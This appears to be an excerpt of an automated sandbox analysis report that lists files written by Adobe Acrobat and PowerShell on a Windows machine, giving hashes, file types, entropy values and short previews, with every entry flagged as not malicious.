SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJf8dPeUkwRe9:YvXKXS1bsdTeOEGU8Ukee9
MD5:	F5FE72FA7936076ED33F744B82AC1F4B
SHA1:	92DE5DB7A5FD64A4D0D4C5E7A02615149069C956
SHA-256:	45C233A5B62EE0967AF93C32E4DAE76667CD1E6FB720CD24F07A2363F5AAB2D6
SHA-512:	1A5CBBFC585F93556EDA53F9081B36DC833D0CAC5276F150E27D62FACE55C4A616C0FDA65A15E3B9F598EBBBCA2F9E42A8066AD30755DA821102C60FD633B20F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3164711665331374
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfQ1rPeUkwRe9:YvXKXS1bsdTeOEGY16Ukee9
MD5:	6170B687F20F357254A2F2877A902DA5
SHA1:	05FEBD3177C643B40E3094AFC603F6C5A5DF9198
SHA-256:	5B89111059F1702C0B562371EBB1D9FA6E6BAA6DFC2EEA237D169FC641C1591A
SHA-512:	BA5C62CA2793F2BAB8DD26B2B1C86322AA147127C68D409E7243427C39AA95670169A642DD5F38B7540118E2F1ADEDFCB1505C62697766DC92D7F522C023B570
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.331677762006254
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfFldPeUkwRe9:YvXKXS1bsdTeOEGz8Ukee9
MD5:	F6D675D5AC20A6BBE2DE6D4F9DAE3C82
SHA1:	CF3FC8E8612FBA15D0C30B00FFF2C66BA7160BE9
SHA-256:	7BE927D79739C09A4677799DC0B2970D0C475504B97886EF48E0996971C815E4
SHA-512:	E6548F987F69DF2FF0192DFF94743D2D6921E33A692C659EDCFDAEA0BC7ECD78B074E8CFD34F44F6FB49888359BBB8B78EFB1264B4A572D601E62D3432AD1B0B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.339800577166054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfzdPeUkwRe9:YvXKXS1bsdTeOEGb8Ukee9
MD5:	AB330E592E2F970CC0F9AC8F93D924DD
SHA1:	47B8E57F1D4C509E4BB0F9807E34EA6BAD194921
SHA-256:	83AD7D0C5DCA6470B3E9538D085E31E972B7DC7A5169E6A87CE53BDBC2410F40
SHA-512:	E8B174739F12A4FA92245839FB44569C4AAF265FAAF3C9CE9FD80047C7F620F40AB5DBB214B6BB6BE9D89CA00AA79CD523B404A0343B73883B230BF752205772
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.320262593568294
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfYdPeUkwRe9:YvXKXS1bsdTeOEGg8Ukee9
MD5:	EFE6959F87997F66DAA420983DBB25F3
SHA1:	A224720BFA0B8CFFDBEED860E480FAF95FB2FAE4
SHA-256:	C97F7D87355113E04C16596E8A5C86B235B69B77B7AD704B05C7F0AE8C76877E
SHA-512:	EA2641A0CA118105B55ECFDA3BAD420F4E73D907AAB3DDC3376B18ACFFFDBF3A3A4ECC49F3854A29D48278C8BF1BD0B38281C9C0482843BFBCF59F87088287E5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.306669702193425
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJf+dPeUkwRe9:YvXKXS1bsdTeOEG28Ukee9
MD5:	881E0C0FAFF53CB0FAF344FB5D1623B9
SHA1:	95FE32EB9FE6B4ED1F68F9AD1B8128CCF9CD2960
SHA-256:	0A26E3B8FD5000E6AB32050024FCF30D40DC9875CD618B99413091C4DF1F26D9
SHA-512:	98E35A494D29A1A509EA47033D4018D3593A8654113B7B2A01FA015C7015CFCB63C660AA6C7B752E42ADADC14BA062625B2CAB456B3A11EDF81AE3E466FAD8AF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.30367042943069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfbPtdPeUkwRe9:YvXKXS1bsdTeOEGDV8Ukee9
MD5:	95B8008D25EC22FBC4F52EE1E4722D15
SHA1:	BC7CBAA779D0DA22A8785967397E0B773E9C77AE
SHA-256:	2C34C193EF06893EB23B920FBFFBDF618E303EA534BF1CA90ADBB0C0F03B8D50
SHA-512:	E3A651A973EE86E54D5F7DA9956CC6ECE6BDE57E56F695B6FA8D4CD22125317227DF404BFCD9D21A4E538443121EEAE1B1DA238DD77BFD090173DD0E7D0BC020
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.307952596530654
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJf21rPeUkwRe9:YvXKXS1bsdTeOEG+16Ukee9
MD5:	1D7D84EDEE4828644077BFE8520BF244
SHA1:	4D75C9AA87970878FA17681C991A1E88893A2E6F
SHA-256:	396E62AF665D4209CE7588C9DD4286E22EEA085FE105C484CD705AB422E51D83
SHA-512:	13E24AA1DB59803A89F40F203813DA33A65BB230D57F569C52EA6F1AB69F0C9204412997CE3B172F260E0D51FD6C1A30D9FCFC112228D37AD1434B087DDB357B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.672446677342323
Encrypted:	false
SSDEEP:	24:Yv6XcmeOBamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSF1:YvueYBgkDMUJUAh8cvMF1
MD5:	9A88F7084E864B6EBFA9939366E6A20E
SHA1:	CA56D401898073F511A14856CFE56CCACDB4B99B
SHA-256:	D5DAA6CA237550CF3BB9AA7194529AFCE3C51CEA76E3B6609AC90157A237DF77
SHA-512:	2F445AC2B227DCD0680BCE6389B895BC397FAF25ECCD8DDE1EFA77F76A972A3FFF461D8E3BA7F514EE55F749F8FC2DC16BF5F03A3185CDEC23CF747D756D37FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.283173466911596
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJfshHHrPeUkwRe9:YvXKXS1bsdTeOEGUUUkee9
MD5:	B8ECBC2FABBB538E2A0E35DAE3EAF080
SHA1:	8E8A94CF732F91085EDE1B6964292436F01426F2
SHA-256:	56551744417C9B62151A09164F87DF6EC6C0B04029C8A4466C06A5992E9E7A38
SHA-512:	29ACCBAF3FB4AEF7645A306EAFDDC416DC6CF57E0A825234AA8B1E432DE5ACE6D1762C86DAED9054C572390376EFBF09EEDFBC490BF1A13156AAA4383A397733
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.302280556942464
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS+GguB14WsGiIPEeOF0Y08oAvJTqgFCrPeUkwRe9:YvXKXS1bsdTeOEGTq16Ukee9
MD5:	50ED565FDAE715264FE4A4AB8F3BC95C
SHA1:	CF0DDFBEB1E918610CF41C51BBECD79BC5A34360
SHA-256:	A68059B61831228D5B3138AE956D9FB670FC84285F6CDE42D443D3B37084521B
SHA-512:	C7953DD5320AE06AEA8872E99A4428D6199462E8CB020FFF7FB30A2E0EBA482DAF581FE351DC2864412A6B5B524E5890863298E073AE60330940D2D4FEEB02F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cd4f87d2-3580-484b-b7c7-fe705754795d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736742889371,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.149516781842475
Encrypted:	false
SSDEEP:	24:YSgm9GaeaymU7JcuJbKtP91B6S9dh2yPj4j0SofIBC2uj7V2LSoRCjuHF5Ngg2O7:YpBRbs7hr6ibVEey3Nf2Of89Izx
MD5:	244B90E29D546077A1B44C941F4C30D9
SHA1:	B807B88EBE374FFBA439C00DC01A83C8D2DF902E
SHA-256:	69A18FA8F36E8BD2055878ACFAC3669D73DF0526FB8D9C4E13310BC5598D88B1
SHA-512:	00B80D26A783278E4E44CE03E78A4F2F3D4821B6D3B73E0AFD6571217A505351FDCF67FE9B4622DCECD8BED6321D0C2B2168A5E3D97D53C5523648546A76AF36
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"0cf90dd643cc2b2550aab9599885345b","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736568919000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"965532c2b57feceaaec91b777ac8671d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736568919000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"2115c9e68c699c2bf42106307c33b6e6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736568919000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"3a709d39c362c349b5ec2252a87549bd","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736568919000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"a8050f6bfcfb412dcf722ccf95c2089a","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736568919000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0852a6dee84aa49217c71936cb2a5ed6","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.452458535008274
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsElU:lNVmsw3SHtbDbPe0K3+fDZds
MD5:	75721BA8F1C49D21D5F5AB9EF9F668BB
SHA1:	ADFA30219786F9AD766A23EFAA958323C9C5F891
SHA-256:	698FBB3B10DEE0AE8296B21E35ADAC300ECF5DA8AF956CB5A2BF6F4BADFEC137
SHA-512:	3A6E9F0334D1730F533B87A26BCC70028286B63DA30FB8CEE6950224D823290D13C43EFC17D5EDA92AB719A8325464BE5483D6E310F1631FA3E4A99922D17E1B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9583056508090648
Encrypted:	false
SSDEEP:	48:7MWrvrBd6dHtbGIbPe0K3+fDy2dshKRqFl2GL7msT:7T3SHtbDbPe0K3+fDZdLRKVmsT
MD5:	8FE3667AE74B2F5043B6FD5CBFFBE194
SHA1:	6B63A1D8FE97F43B6281AAEFEA5032071762FF56
SHA-256:	71750E7DDE5E84D63545EE4E0BA3596EFBB693DF071C7D25481C780BE7F23A4A
SHA-512:	51BDDEA63E37B7D453DF6E457DAD3840A0C4EEBB2C02B71DA12C0899863475BE49298F6156593DB17DC80190856FC6CEDEB0A3FF47112DC234E50E3BF30FFD01
Malicious:	false
Preview:	.... .c.....}.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgGZyYwcghYbkXGHENt0uoJBGrYyu:6a6TZ44ADEGZyTcgWw5oTQK
MD5:	C4FDBADC2F58EDA7ED219273D0FB3E42
SHA1:	B08F478C88EE132AF8A6E21BDBFA4E5729B1FE7C
SHA-256:	69E445B9F148764C1390F97FA4B5796A3C969D0292F175C83718713AAD231415
SHA-512:	51D3631593CB4EC169C14C829DCBB0BBC372B0591A10DD845184923E9A469AC4CB8C03A8C03ECC751958DE541A1F86546F68D23C22A1EFD7B16724515671AF65
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:Nlllul5mxllp:NllU4x/
MD5:	3A925CB766CE4286E251C26E90B55CE8
SHA1:	3FA8EE6E901101A4661723B94D6C9309E281BD28
SHA-256:	4E844662CDFFAAD50BA6320DC598EBE0A31619439D0F6AB379DF978FE81C7BF8
SHA-512:	F348B4AFD42C262BBED07D6BDEA6EE4B7F5CFA2E18BFA725225584E93251188D9787506C2AFEAC482B606B1EA0341419F229A69FF1E9100B01DE42025F915788
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIa3909.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5004142083842487
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClhIH:Qw946cPbiOxDlbYnuRK+bmIH
MD5:	B8C9EAA070AEE6669742DCAEDC3E1C3D
SHA1:	5D569C0371E377B24FD697E455C5A7AF2B8DFF1A
SHA-256:	0EAE09FE746B4D691F6B65348C326FE062F0B746784D3D5B1B61A0F1CA6B9EEB
SHA-512:	DCFCEC503DC592CE2DDA76E9376082758871E78FD4D62D8A84C4B34061750B06BDF79C1004790ED1BAF972C237AA95293F91DB427268A81800B3C6C75FD28949
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.1.5.:.1.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nhjvgvb3.hbx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wtoku40l.r35.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-15-12-023.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3851276911284955
Encrypted:	false
SSDEEP:	384:GCoTAO2rFubB+8E+fNIUlBBlaLvV7YgK4zTdf3Nhh8ADBp1hJylg/U/yDjRP5yyP:PMS
MD5:	EA59AEAD40CE260B9E1B7B55904A12D2
SHA1:	24E4CFE80EF58CAC155ABC10767E990D53460A42
SHA-256:	EE1E34AB11EE36D5846CF18FD2678E4C86096CF3FC42633D6956BBA45BA7E2DD
SHA-512:	943F113523F7775F8B6F20DD9C43D09237D98133B8C8A4D64132AAFCBB96C1A6BA1F68985E2DEEDD1C13E61EA9A83B0B07E5BB13A1B7CDA31A916F7B6FE343E8
Malicious:	false
Preview:	SessionID=c678fa98-8c58-4bbb-83ed-2cabfcb7f463.1736568912056 Timestamp=2025-01-10T23:15:12:056-0500 ThreadID=7540 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=c678fa98-8c58-4bbb-83ed-2cabfcb7f463.1736568912056 Timestamp=2025-01-10T23:15:12:057-0500 ThreadID=7540 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=c678fa98-8c58-4bbb-83ed-2cabfcb7f463.1736568912056 Timestamp=2025-01-10T23:15:12:057-0500 ThreadID=7540 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=c678fa98-8c58-4bbb-83ed-2cabfcb7f463.1736568912056 Timestamp=2025-01-10T23:15:12:057-0500 ThreadID=7540 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=c678fa98-8c58-4bbb-83ed-2cabfcb7f463.1736568912056 Timestamp=2025-01-10T23:15:12:057-0500 ThreadID=7540 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

